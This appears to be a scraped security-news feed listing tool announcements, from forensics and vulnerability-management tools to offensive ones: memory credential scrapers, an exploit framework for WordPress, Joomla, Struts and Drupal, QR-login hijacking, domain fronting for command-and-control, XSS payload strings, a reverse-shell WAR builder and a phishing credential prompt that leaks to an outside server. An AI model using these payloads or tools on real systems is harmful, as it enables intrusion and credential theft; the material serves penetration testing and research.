Beagle is an incident response and digital forensics tool which transforms data sources and logs into graphs. Supported data sources include FireEye HX Triages, Windows EVTX files, SysMon logs and Raw Windows memory images. The resulting Graphs can be sent to graph databases such as Neo4J or DGraph, or they can be kept locally as Python NetworkX objects.
Beagle can be used directly as a python library, or through a provided web interface.

The library can be used either as a sequence of functional calls.
>>> from beagle.datasources import SysmonEVTX

>>> graph = SysmonEVTX("malicious.evtx").to_graph()
>>> graph
<networkx.classes.multidigraph.MultiDiGraph at 0x12700ee10>
Or by strictly calling each intermediate step of the data source to graph process.
>>> from beagle.backends import NetworkX
>>> from beagle.datasources import SysmonEVTX
>>> from beagle.transformers import SysmonTransformer

>>> datasource = SysmonEVTX("malicious.evtx")

# Transformers take a datasource, and transform each event
# into a tuple of one or more nodes.
>>> transformer = SysmonTransformer(datasource=datasource)
>>> nodes = transformer.run()

# Transformers output an array of nodes.
[
(<SysMonProc> process_guid="{0ad3e319-0c16-59c8-0000-0010d47d0000}"),
(<File> host="DESKTOP-2C3IQHO" full_path="C:\Windows\System32\services.exe"),
...
]

# Backends take the nodes, and transform them into graphs
>>> backend = NetworkX(nodes=nodes)
>>> G = backend.graph()
<networkx.classes.multidigraph.MultiDiGraph at 0x126b887f0>
Graphs are centered around the activity of individual processes, and are meant primarily to help analysts investigate activity on hosts, not between them.

Installation

Docker
Beagle is available as a docker file:
docker pull yampelo/beagle
mkdir -p data/beagle
docker run -v "$PWD/data/beagle":"/data/beagle" -p 8000:8000 yampelo/beagle

Python Package
It is also available as library. Full API Documentation is available on https://beagle-graphs.readthedocs.io
pip install pybeagle

Configuration
Any entry in the configuration file can be modified using environment variables that follow the following format; BEAGLE__{SECTION}__{KEY}. For example, in order to change the VirusTotal API Key used when using the docker image, you would use -e parameter and set the BEAGLE__VIRUSTOTAL__API_KEY variable:
docker run -v "data/beagle":"/data/beagle" -p 8000:8000 -e "BEAGLE__VIRUSTOTAL__API_KEY=$API_KEY" beagle
Environment variables and directories can be easily defined using docker compose
version: "3"    services:      beagle:          image: yampelo/beagle          volumes:              - /data/beagle:/data/beagle          ports:              - "8000:8000"          environment:              - BEAGLE__VIRUSTOTAL__API_KEY=$key$  

Web Interface
Beagle's docker image comes with a web interface that wraps around the process of both transforming data into graphs, as well as using them to investigate data.

Uploading Data


The upload form wraps around the graph creation process, and automatically uses NetworkX as the backend. Depending on the parameters required by the data source, the form will either prompt for a file upload, or text input. For example:
  • VT API Sandbox Report asks for the hash to graph.
  • FireEye HX requires the HX triage.
Any graph created is stored locally in the folder defined under the dir key from the storage section in the configuration. This can be modified by setting the BEAGLE__STORAGE__DIR enviroment variable.
Optionally, a comment can be added to any graph to better help describe it.
Each data source will automatically extract metadata from the provided parameter. The metadata and comment are visible later on when viewing the existing graphs of the datasource.

Browsing Existing Graphs
Clicking on a datasource on the sidebar renders a table of all parsed graphs for that datasource.


Graph Interface
Viewing a graph in Beagle provides a web interface that allows analysts to quickly pivot around an incident.
The interface is split into two main parts, the left part which contains various perspectives of the graph (Graph, Tree, Table, etc), and the right part which allows you to filter nodes and edges by type, search for nodes, and expand a nodes properties. It also allows you to undo and redo operations you perform on the graph.
Any element in the graph that has a divider above it is collapsible:


Inspecting Nodes and Edges
Nodes in the graph display the first 15 characters of their a specific field. For example, for a process node, this will be the process name.
Edges simply show the edge type.
A single click on a node or edge will focus that node and display its information in the "Node Info" panel on the right sidebar.

Focusing on a Node


Focusing on an Edge


Expanding Neighbours
A double click on a node will pull in any neighbouring nodes. A neighbouring node is any node connected to the clicked on node by an edge. If there are no neighbors to be pulled in, no change will be seen in the graph.
  • This is regardless of direction. That means that a parent process or a child process could be pulled in when double clicking on a node.
  • Beagle will only pull in 25 nodes at a time.

Hiding Nodes
A long single click on a node will hide it from the graph, as well as any edges that depend on it.


Running Mutators
Right clicking on a node exposes a context menu that allows you to run graph mutators. Mutators are functions which take the graph state, and return a new state.
Two extremely useful mutators are:
  1. Backtracking a node: Find the sequence of nodes and edges that led to the creation of this node.
    • Backtracking a process node will show its process tree.
  2. Expanding all descendants: From the current node, show every node that has this node as an ancestor.
    • Expanding a process node will show every child process node it spawned, any file it may have touched, and pretty much every activity that happened as a result of this node.

Backtracking a node
Backtracking a node is extremely useful, and is similar to doing a root cause infection in log files.


Expanding Node Descendants
Expanding a node's descendants allows you to immediately view everything that happened because of this node. This action reveals the subgraph rooted at the selected node.


Toggling Node and Edge Types
Sometimes, a Node or Edge might not be relevant to the current incident, you can toggle edge and node types on and off. As soon as the type is toggled, the nodes or edges of that type are removed from the visible graph.
Toggling a node type off prevents that node type to be used when using mutators, or when pulling in neighbours.


Undo/Redo Action and Reset
Any action in the graph is immediately reversable! Using the undo/redo buttons you can revert any action you perform. The reset button sets the graph state to when it loaded, saving you a refresh.


Graph Perspectives
As you change the graphs current state using the above action, you might also want to view the current set of visible node and edges in a different perspective. The tabs at the top of the graph screen allow you to transform the data into a variety of views:
  • Graph (Default perspective)
  • Tree
  • Table
  • Timeline
  • Markdown
Each of the perspectives supports focusing on nodes by clicking on them.


Python Library
The graph generation process can be performed programatically using the python library. The graph generation process is made up of three steps:
  1. DataSource classes parse and yield events one by one.
  2. Transformer classes take those inputs, and transform them into various Node classes such as Process.
  3. Backend classes take the array of nodes, place them into a graph structure, and send them to a desired location.
The Python package can be installed via pip:
version: "3"

services:
beagle:
image: yampelo/beagle
volumes:
- /data/beagle:/data/beagle
ports:
- "8000:8000"
environment:
- BEAGLE__VIRUSTOTAL__API_KEY=$key$
Creating a graph requires chaining these together. This can be done for you using the to_graph() function.
pip install pybeagle
It can also be done explicitly at each step. Using the functional calls, you can also define which Backend you wish to use for example, to send data to DGraph
from beagle.datasources import HXTriage

# By default, using the to_graph() class uses NetworkX and the first transformer.
G = HXTriage('test.mans').to_graph()
<networkx.classes.multidigraph.MultiDiGraph at 0x12700ee10>
When calling the to_graph or to_transformer methods, you can pass in any arguments to those classes:
from beagle.datasources import HXTriage
from beagle.backends import DGraph
from beagle.transformers import FireEyeHXTransformer

# The data will be sent to the DGraph instance configured in the
# configuration file
backend = HXTriage('test.mans').to_graph(backend=DGraph)

# Can also specify the transformer
backend = HXTriage('test.mans').to_transformer(transformer=FireEyeHXTransformer).to_graph(backend=DGraph)
You can also manually invoke each step in the above process, accessing the intermediary outputs
from beagle.datasources import HXTriage
from beagle.backends import Graphistry

# Send the graphistry, anonymize the data first, and return the URL
graphistry_url = HXTriage('test.mans').to_graph(backend=Graphistry, anonymize=True, render=False)
If you want to manually call each step, you will need to ensure that the Transformer class instance is compatible with the output of the provided DataSource class.
  • All Backends are compatible with all Transformers.
Each data source defines the list of transformers it is compatible with, and this can be accessed via the .transformers attribute:
>>> from beagle.backends import NetworkX
>>> from beagle.datasources import HXTriage
>>> from beagle.transformers import FireEyeHXTransformer

>>> datasource = HXTriage("test.mans")
>>> transformer = FireEyeHXTransformer(datasource=datasource)
>>> nodes = transformer.run()
>>> backend = NetworkX(nodes=nodes)
>>> G = backend.graph()

Controlling Edge Generation
By default, edges are not condensed, that means that if a process node u writes to a file node v 5000 times, you will have 5000 edges between those nodes. Sometimes, especially when trying to visualize the data, this may overwhelm an analyst.
You can condense all 5000 edges into a single edge for that type of action (wrote in this case), by passing the backend class the consolidate_edges=True parameter, for example:
>>> from beagle.datasources import HXTriage
>>> HXTriage.transformers
[beagle.transformers.fireeye_hx_transformer.FireEyeHXTransformer]
By default, the web interface will consolidate the edges.

Documentation


Free Cynet Threat Assessment for Mid-sized and Large Organizations

$
0
0

If you cannot see what’s happening in your network, your ability to make smart security decisions will suffer. Many vendors offer threat assessment options, but they usually require an investment of time and resources. One vendor out there – Cynet – is offering a no-cost threat assessment to qualifying organizations for a limited time only. Based on more than 72-hours of data collection, the assessment gives organizations the ability to benchmark their security posture against their industry peers and provides actionable insights.

How do you qualify? If your organization has at least 300 endpoints, you can take advantage of this free offer, to find out what your exposed attack surfaces are and understand what you can do to respond to attacks currently active in your environment. The assessment includes:

  • Live attack indicators such as malware, C&C connections, data exfiltration, phishing link access, user credential thefts attempts, etc.

  • Attack surfaces on host and application surfaces: unpatched vulnerabilities risk ranked  
  • Benchmark of your security posture in comparison to your industry peers:
  • Risk score based on total findings.
  • User identity attack surface: risk ranking of user accounts.

Security decision makers can take advantage of this offer to achieve (with no-obligation) full visibility into their actual security posture, highlighting what their needs are and providing a clear picture of risk ranking into threats and vulnerabilities. Given that most threat assessments for mid-sized organizations begin at $25-thousand, and considering what the Cynet assessment provides, this is a very attractive offer for the security-conscious organization.   

Cynet has heavily focused efforts into research in the threat landscape, especially among its install base, and over the last few months has seen a clear increase in live attacks during new deployments.  
Said Cynet CEO and co-founder Eyal Gruner, “We frequently discover live malicious activity in the networks of organizations when we do initial deployment of the Cynet platform. One of our first tasks upon deploying  is to identify and remediate these risks.”

It is important to note that organizations are almost always unaware of the malicious activity, and additionally, most do not understand the capacity of the attacker’s ability to maneuver in stealth mode. This leaves a large gap between what many organizations think is going on in their networks and the actual threat reality, providing them with a false sense of security. With this in mind, the Cynet solution provides a proactive approach to threat assessment and response. 
Said Gruner, “We decided to offer this threat assessment to organizations, whether they are Cynet customers or not. We believe that instead of waiting for product deployments, organizations will get more benefit by addressing the issues we typically encounter, up-front and before deploying full-scale.”  

Educating organizations in cyber security best practices is part of Cynet’s mission. Said Gruner, “We want people to realize that the risks are there, even when you don’t see them. Security has to be more than just buying a product to say you have it. You need visibility, and results with clear, actionable deductions. At Cynet, we want to help organizations achieve this.”


Try Cynet’s Free Threat Assessment here.


DefectDojo v1.5.4 - Application Vulnerability Correlation And Security Orchestration Application

$
0
0

DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, schedule scans, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo.

Demo
Try out DefectDojo in the testing environment with the following credentials.
  • admin / defectdojo@demo#appsec
  • product_manager / defectdojo@demo#product

Quick Start
git clone https://github.com/DefectDojo/django-DefectDojo
cd django-DefectDojo
docker-compose up
Navigate to http://localhost:8080.

Documentation
For detailed documentation you can visit Read the Docs.

Installation Options

Getting Started
We recommend checking out the about document to learn the terminology of DefectDojo and the getting started guide for setting up a new installation. We've also created some example workflows that should give you an idea of how to use DefectDojo for your own team.

Client APIs
  • Install the DefectDojo Python API via pip install defectdojo_api or clone the repository.
  • Browse the API on SwaggerHub.

Getting Involved

Realtime discussion is done in the OWASP Slack Channel, #defectdojo. Get Access.
DefectDojo Twitter Account tweets project updates and changes.

Available Plugins
Engagement Surveys– A plugin that adds answerable surveys to engagements.
LDAP Integration
SAML Integration
Multi-Factor Auth

About Us
DefectDojo is maintained by:

Hall of Fame
  • Charles Neill (@ccneill) – Charles served as a DefectDojo Maintainer for years and wrote some of Dojo's core functionality.
  • Jay Paz (@jjpaz) – Jay was a DefectDojo maintainer for years. He performed Dojo's first UI overhaul, optomized code structure/features, and added numerous enhancements.


mXtract v1.2 - Memory Extractor & Analyzer

$
0
0
mXtract is an opensource linux based tool that analyzes and dumps memory. It is developed as an offensive pentration testing tool, its primary purpose is to scan memory for private keys, ips, and passwords using regexes. Remember, your results are only as good as your regexes.

Screenshots


Scan with verbose and with a simple IP regex, scanning every data segment, displaying process info and scanning environment files.


Scan with verbose and with a simple IP regex, scanning only heap and stack, displaying process info and scanning environment files.


Scan without verbose, and with a simple IP regex, displaying process info and scanning environment files.

Why dump directly from memory?
In most linux environments users can access the memory of processes, this allows attackers to harvest credentials, private keys, or anything that isnt suppose to be seen but is being processed by a program in clear text.

Features
  • Ability to enter regex lists
  • Clear and Readable Display
  • Ability to Mass Scan Every Proccess or a Specific PID
  • Able to choose memory sections to scan
  • Ability to Show Detailed Process Information
  • Ability to Scan Process Environment Files
  • Memory dumps automatically removes unicode characters which allows for processing with other tools or manually

Getting started

Downloading: git clone https://github.com/rek7/mXtract

Compiling: cd mXtract && sh compile.sh

This will create the directory bin/ and compile the binary as mXtract

Commands
General:
-v Enable Verbose Output
-s Suppress Banner
-h Help
-c Suppress Colored Output
Target and Regex:
-i Show Detailed Process/User Info
-a Scan all Memory Ranges not just Heap/Stack
-e Scan Process Environment Files
-r= Regex Database to Use
-p= Specify Single PID to Scan
Output:
-wm Write Raw Memory to File Default Directory is: 'pid/'
-wi Write Process Info to Beginning of File (Used in Conjunction with -w)
-wr Write Regex Output to File (Will Appear in the Output Directory)
-f= Regex Results Filename Default is: 'regex_results.txt'
-d= Custom Ouput Directory


Mysql-Magic - Dump Mysql Client Password From Memory

$
0
0
The mysql client read the password, then write this for some malloc'ed memory, and free it, but just because a chunk was freed doesn't mean it will be used again, to ensure that your programs not keep sensitive information in memory you must overwrite the memory.
The main goal is get the password passed through tty, but sometimes it also gets the password passed from command line (-pxxxxxx).
Tested in mysql Ver 15.1 Distrib 10.3.13-MariaDB, for Linux (x86_64) using readline 5.1

Compiling
for compile you only need to run make, if you want add some flags, for any reason, you can do that with CFLAGS=myflags make.
if the system mysql client is not placed at /usr/bin/mysql you'll need compile with CFLAGS=-DMYSQLCLI=/path/to/mysql make

Options
mysql-magic [options] <pid>
-o <offset> comma-separated list of offset
-s search the memory for passwords and get offset
-d <dir> Write heap to the folder
-l Listen mode, wait for outgoing ipv4 connections on port 3306
-r <secs> Sleep time (Default: 3 seconds)
-p Use process_vm_readv instead of /proc/pid/mem
pass -d is a good thing to do, the password, and some informations like old queries, can remain in memory, so you can analyse this and maybe build a wordlist based on it, if the password don't are in the offset

Demo



Zeebsploit - Web Scanner / Exploitation / Information Gathering

$
0
0

zeebsploit is a tool for hacking

searching for web information and

scanning vulnerabilities of a web



Installation & Usage
apt-get install git
git clone https://github.com/jaxBCD/Zeebsploit.git
cd Zeebsploit
chmod +x install
./install
python3 zeebsploit.py
type 'help' for show modules
and follow instruction

Modules
[Main modules]
+----------+-------------------------------+
| Modules | Description |
+----------+-------------------------------+
| Exploit | Exploitation Modules |
| Scanners | Scanners Modules |
| infoga | information Gathering Modules |
+----------+-------------------------------+

[Exploit Modules]
+---------------------------+--------------------------------------------------+
| Modules | Description |
+---------------------------+--------------------------------------------------+
| wp content injection | wordpress content injection version 4.7 or 4.7.1 |
| wp revslider | wordpress plugin revslider remote file upload |
| wp learndash | wordpress leardash remote file upload |
| wp swhobiz | wordpress plugin showbiz remote file upload |
| joomla com fabrik | joomla component fabrik file upload |
| joomla manager get config | joomla component manager auto get config |
| joomla jdownload | joomla component jdownloads remote file upload |
| joomla | Joomla ads manager component auto shell upload |
| apache struts rce | CVE: 2017-5638 - Apache Struts2 S2-045 |
| | remote command execution |
| drupal8 rce | drupal version 8 remote command execution |
| dvr cam leak credential | TBK DVR4104 / DVR4216 |
| | - Credentials Leak (Get User and password |
| webdav file upload | Nothing |
| ---More--- | Coming Soon the following version |
+---------------------------+--------------------------------------------------+

[Scanner Module]
+--------------------+----------------------------------------+
| Modules | Description |
+--------------------+----------------------------------------+
| subdomain scanner | Scan Subdomain for Web |
| sqli scanner | Scan Sql Injection Vulnerability |
| xss scanner | Scan XSS Injection Vulnerability |
| lfi scanner | Local File Includes Scanner etc/passwd |
| admin login finder | Scan Admin Login page |
| directory scanner | scan directory on web us e dirhunt |
| subdomain takeover | scan type subdomain takeover |
| ---More--- | Coming Soon the following version |
+--------------------+----------------------------------------+

[Information Gathering]

+--------------------+------------------------------------------+
| Modules | Description |
+--------------------+------------------------------------------+
| cms detector | a tool for detecting cms on a web |
| port scanner | Scan Open Port use Nmap |
| information header | response header information |
| ip geolocation | detect the location of an ip or host |
| email searcher | searching email from web |
| traceroute | to show the route the package has pas sed |
| robot.txt detector | Scan Robot.txt from Web |
| header information | Response Header Checker |
| whois lookup | looking for registered users or |
| | recipients of Internet resource rights |
| ---More--- | Coming Soon the following version |
+--------------------+------------------------------------------+

Join Team : [Click This]
Contact : [Contact]



QRLJacker v2.0 - QRLJacking Exploitation Framework

$
0
0

QRLJacker is a highly customizable exploitation framework to demonstrate "QRLJacking Attack Vector" to show how it is easy to hijack services that depend on the QR Code as an authentication and login method, Mainly it aims to raise security awareness regarding all the services using the QR Code as the main way to login users to different services!

Prerequisites before installing:

  1. Linux or MacOS. (Not working on windows)
  2. Python 3.7+

Installing instructions:

  1. Update Firefox browser to the latest version
  2. Install the latest geckodriver from https://github.com/mozilla/geckodriver/releases and extract the file then do :
    • chmod +x geckodriver
    • sudo mv -f geckodriver /usr/local/share/geckodriver
    • sudo ln -s /usr/local/share/geckodriver /usr/local/bin/geckodriver
    • sudo ln -s /usr/local/share/geckodriver /usr/bin/geckodriver
  3. Clone the repo with git clone https://github.com/OWASP/QRLJacking then do cd QRLJacking/QRLJacker
  4. Install all the requirements with pip install -r requirements.txt
  5. Now you can run the framework with python3 QrlJacker.py --help

Tested on

  • Ubuntu 18.04 Bionic Beaver
  • Kali Linux 2018.x and up

Usage


Commandline arguments

usage: QrlJacker.py [-h] [-r ] [-x ] [--debug] [--dev] [--verbose] [-q]

optional arguments:
-h, --help show this help message and exit
-r Execute a resource file (history file).
-x Execute a specific command (use ; for multiples).
--debug Enables debug mode (Identifying problems easier).
--dev Enables development mode (Reloading modules every use).
--verbose Enables verbose mode (Display more details).
-q Quit mode (no banner).

Main menu help

General commands
=================
Command Description
--------- -------------
help/? Show this help menu.
os <command> Execute a system command without closing the framework
banner Display banner.
exit/quit Exit the framework.

Core commands
=============
Command Description
--------- -------------
database Prints the core version and then check if it's up-to-date.
debug Drop into debug mode or disable it. (Making identifying problems easier)
dev Drop into development mode or disable it. (Reload modules every use)
verbose Drop into verbose mode or disable it. (Make framework displays more details)
reload/refresh Reload the modules database.

Resources commands
==================
Command Description
--------- -------------
history Display commandline most important history from the beginning.
makerc Save the most important commands entered since start to a file.
resource <file> Run the commands stored in a file.

Sessions management commands
============================
Command Description
--------- -------------
sessions (-h) Dump session listings and display information about sessions.
jobs (-h) Displays and manages jobs.

Module commands
===============
Command Description
--------- -------------
list/show List modules you can use.
use <module> Use an available module.
info <module> Get information about an available module.
previous Runs the previously loaded module.
search <text> Search for a module by a specific text in its name or in its description.

Module menu help

General commands
=================
Command Description
--------- -------------
help/? Show this help menu.
os <command> Execute a system command without closing the framework
banner Display banner.
exit/quit Exit the framework.

Core commands
=============
Command Description
--------- -------------
database Prints the core version and then check if it's up-to-date.
debug Drop into debug mode or disable it. (Making identifying problems easier)
dev Drop into development mode or disable it. (Reload modules every use)
verbose Drop into verbose mode or disable it. (Make framework displays more details)
reload/refresh Reload the modules database.

Resources commands
==================
Command Description
--------- -------------
history Display commandline most important history from the beginning.
makerc Save the most important commands entered since start to a file.
resource <file> Run the commands stored in a file.

Sessions management commands
============================
Command Description
--------- -------------
sessions (-h) Dump session listings and display information about sessions.
jobs (-h) Displays and manages jobs.

Module commands
===============
Command Description
---------- --------------
list/show List modules you can use.
options Displays options for the current module.
set Sets a context-specific variable to a value.
run Launch the current module.
use <module> Use an available module.
info <module> Get information about an available module.
search <text> Search for a module by a specific text in its name or in its description.
previous Sets the previously loaded module as the current module.
back Move back from the current context.

Sessions command help menu

usage: sessions [-h] [-l] [-K] [-s] [-k] [-i]

optional arguments:
-h Show this help message.
-l List all captured sessions.
-K Remove all captured sessions.
-s Search for sessions with a specifed type.
-k Remove a specifed captured session by ID
-i Interact with a captured session by ID.

Jobs command help menu

usage: jobs [-h] [-l] [-K] [-k]

optional arguments:
-h Show this help message.
-l List all running jobs.
-K Terminate all running jobs.
-k Terminate jobs by job ID or module name

Taking advantage of the core


Commands autocomplete

The autocomplete feature that has been implemented in this framework is not the usual one you always see, here are some highlights:
  1. It's designed to fix typos in typed commands to the most similar command with just one tab click so saerch becomes search and so on, even if you typed any random word similar to an command in this framework.
  2. For you lazy-ones out there like me, it can predict what module you are trying to use by typing any part of it. For example if you typed use wh and clicked tab, it would be replaced with use grabber/whatsapp and so on. I can see your smile, You are welcome!
  3. If you typed any wrong command then pressed enter, the framework will tell you what is the nearest command to what you have typed which could be the one you really wanted.
  4. Some less impressive things like autocomplete for options of the current module after set command, autocomplete for modules after use and info commands and finally it converts all uppercase to lowercase automatically just-in-case you switched cases by mistake while typing.
  5. Finally, you'll find the normal autocompletion things you were using before, like commands autocompletion and persistent history, etc...

Automation

  • As you may noticed, you can use a resource file from command-line arguments before starting the framework itself or send commands directly.
  • Inside the framework you can use makerc command like in Metasploit but this time it only saves the correct important commands.
  • There are history and resource commands so you don't need to exit the framework.
  • You can execute as many commands as you want at the same time by splitting them with semi-colon and many more left to be discovered by yourself.
  • Searching for modules in QRLJacker is so easy, you can search for a module by its name, something written in its description or even the author name.

OWASP's links reference




Chkdfront - Check Domain Fronting

$
0
0

chkdfront checks if your domain fronting is working by testing the targeted domain (fronted domain) against your domain front domain.

Features
  • Checking your domain fronted against the domain front.
  • Searching an expected string in the response to indicate success.
  • Showing troubleshooting suggestions when a test fails based on the failure natural.
  • Inspecting the HTTP request and response when a test fails. (optionally if succeeded).
  • Troubleshooting with various checks (ping, HTTP, nslookup) when a test fails. (optionally if succeeded).
  • Support testing though proxy.

Demo
Please check the demo https://asciinema.org/a/nA9wBiuSDLDH9SunQ8GxKT2ra

Installation
$ gem install chkdfront

Usage
Help menu:
-f, --front-target URL Fronted target domain or URL.
e.g. images.businessweek.com
-d, --domain-front DOMAIN DomainFront domain.
e.g. df36z1umwj2fze.cloudfront.net
-e, --expect STRING Expect a given string that indicates success. (case-sensitive)
e.g. It works
-p, --provider NUM Choose CDN / Domain Front Provider:
[0] Auto (default - auto tune request. Extra request to detect)
[1] Amazon (tune request for Amazon domain fronting)
[2] Azure (tune request for Azure domain fronting)
[3] Alibaba (tune request for Alibaba domain fronting)
-t, --troubleshoot [DOMAIN] Force troubleshooting procedures.
execute troubleshooting procedures(ping, http, nslookup) for all parties
(optional: original domain where CDN forwards, to include in the checks)
e.g. c2.mydomain.com
--proxy USER:PASS@HOST:PORT Use proxy settings if you're behind proxy.
e.g. user1:Pass123@localhost:8080
--debug Force debugging.
show response's body and low-level request and response debug trace.
(default enabled when test fails.)
-h, --help Show this message.

Usage:
/ usr/local/bin/chkdfront <OPTIONS>
Example:
/usr/local/bin/chkdfront -f images.businessweek.com -d df36z1umwj2fze.cloudfront.net
/usr/local/bin/chkdfront -f images.businessweek.com -d df36z1umwj2fze.cloudfront.net --debug -t c2.mysite.com

Contributing
  1. Fork it ( https://github.com/KINGSABRI/chkdfront/fork )
  2. Create your feature branch (git checkout -b my-new-feature)
  3. Commit your changes (git commit -am 'Add some feature')
  4. Push to the branch (git push origin my-new-feature)
  5. Create a new Pull Request


XSStrike v3.1.4 - Most Advanced XSS Detection Suite

$
0
0

XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.
Instead of injecting payloads and checking it works like all the other tools do, XSStrike analyses the response with multiple parsers and then crafts payloads that are guaranteed to work by context analysis integrated with a fuzzing engine. Here are some examples of the payloads generated by XSStrike:
}]};(confirm)()//\
<A%0aONMouseOvER%0d=%0d[8].find(confirm)>z
</tiTlE/><a%0donpOintErentER%0d=%0d(prompt)``>z
</SCRiPT/><DETAILs/+/onpoINTERenTEr%0a=%0aa=prompt,a()//
Apart from that, XSStrike has crawling, fuzzing, parameter discovery, WAF detection capabilities as well. It also scans for DOM XSS vulnerabilities.

Main Features
  • Reflected and DOM XSS scanning
  • Multi-threaded crawling
  • Context analysis
  • Configurable core
  • WAF detection & evasion
  • Outdated JS lib scanning
  • Intelligent payload generator
  • Handmade HTML & JavaScript parser
  • Powerful fuzzing engine
  • Blind XSS support
  • Highly researched work-flow
  • Complete HTTP support
  • Bruteforce payloads from a file
  • Powered by Photon, Zetanize and Arjun
  • Payload Encoding

Documentation

FAQ

Gallery

DOM XSS


Reflected XSS


Crawling


Fuzzing


Bruteforcing payloads from a file


Interactive HTTP Headers Prompt


Hidden Parameter Discovery




GodOfWar - Malicious Java WAR Builder With Built-In Payloads

$
0
0

A command-line tool to generate war payloads for penetration testing / red teaming purposes, written in ruby.
Features
  • Preexisting payloads. (try -l/--list)
    • cmd_get
    • filebrowser
    • bind_shell
    • reverse_shell
    • reverse_shell_ui
  • Configurable backdoor. (try --host/-port)
  • Control over payload name.
    • To avoid malicious name after deployment to bypass URL name signatures.

Installation
$ gem install godofwar

Usage
$ godofwar -h 

Help menu:
-p, --payload PAYLOAD Generates war from one of the available payloads.
(check -l/--list)
-H, --host IP_ADDR Local or Remote IP address for the chosen payload
(used with -p/--payload)
-P, --port PORT Local or Remote Port for the chosen payload
(used with -p/--payload)
-o, --output [FILE] Output file and the deployment name.
(default is the payload original name. check '-l/--list')
-l, --list list all available payloads.
-h, --help Show this help message.

Example
List all payloads
$ godofwar -l
├── cmd_get
│   └── Information:
│ ├── Description: Command execution via web interface
│ ├── OS: any
│ ├── Settings: {"false"=>"No Settings required!"}
│ ├── Usage: http://host/cmd.jsp?cmd=whoami
│ ├── References: ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
├── filebrowser
│   └── Information:
│ ├── Description: Remote file browser, upload, download, unzip files and native command execution
│ ├── OS: any
│ &#9500 ;── Settings: {"false"=>"No Settings required!"}
│ ├── Usage: http://host/filebrowser.jsp
│ ├── References: ["http://www.vonloesch.de/filebrowser.html"]
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
├── bind_shell
│   └── Information:
│ ├── Description: TCP bind shell
│ ├── OS: any
│ ├── Settings: {"port"=>4444, "false"=>"No Settings required!"}
│ ├── Usage: http://host/reverse-shell.jsp
│ ├── References: ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
│ └ ── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
├── reverse_shell_ui
│   └── Information:
│ ├── Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
│ ├── OS: any
│ ├── Settings: {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│ ├── Usage: http://host/reverse_shell_ui.jsp
│ ├── References: []
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
├── reverse_shell
│   └── Information:
│ ├── De scription: TCP reverse shell. LHOST and LPORT are hardcoded
│ ├── OS: any
│ ├── Settings: {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│ ├── Usage: http://host/reverse_shell.jsp
│ ├── References: []
│ └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell
Generate payload with LHOST and LPORT
godofwar -p reverse_shell -H 192.168.100.10  -P 9911 -o puppy
After deployment, you can visit your shell on (http://host:8080/puppy/puppy.jsp)

Contributing
  1. Fork it ( https://github.com/KINGSABRI/godofwar/fork ).
  2. Create your feature branch (git checkout -b my-new-feature).
  3. Commit your changes (git commit -am 'Add some feature').
  4. Push to the branch (git push origin my-new-feature).
  5. Create a new Pull Request.

Add More Backdoors
To contribute by adding more backdoors:
  1. create a new folder under payloads directory.
  2. put your jsp file under the newly created directory (make it the same directory name).
  3. update payloads_info.json file with
    1. description.
    2. supported operating system (try to make it universal though).
    3. configurations: default host and port.
    4. references: the payload origin or its creator credits.


CredsLeaker v3 - Tool to Display A Powershell Credentials Box

$
0
0

This script used to display a powershellcredentials box asked the user for credentials.

However, That was highly noticeable. Now it's time to utilize Windows Security popup!


As before, The box cannot be closed (only by killing the process) will keeps checking the credentials against the DC. When validated, it will close and leak it to a web server outside.


How To:
  1. Start a web server.
  2. Type your server IP and port in the ps1 script.
  3. Execute the batch file.

Legal
This software is provided for educational use only (also with redteamers in mind). Don't use credsleaker without mutual consent. If you engage in any illegal activity the author does not take any responsibility for it. By using this software you agree with these terms.


Viewing all 5854 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>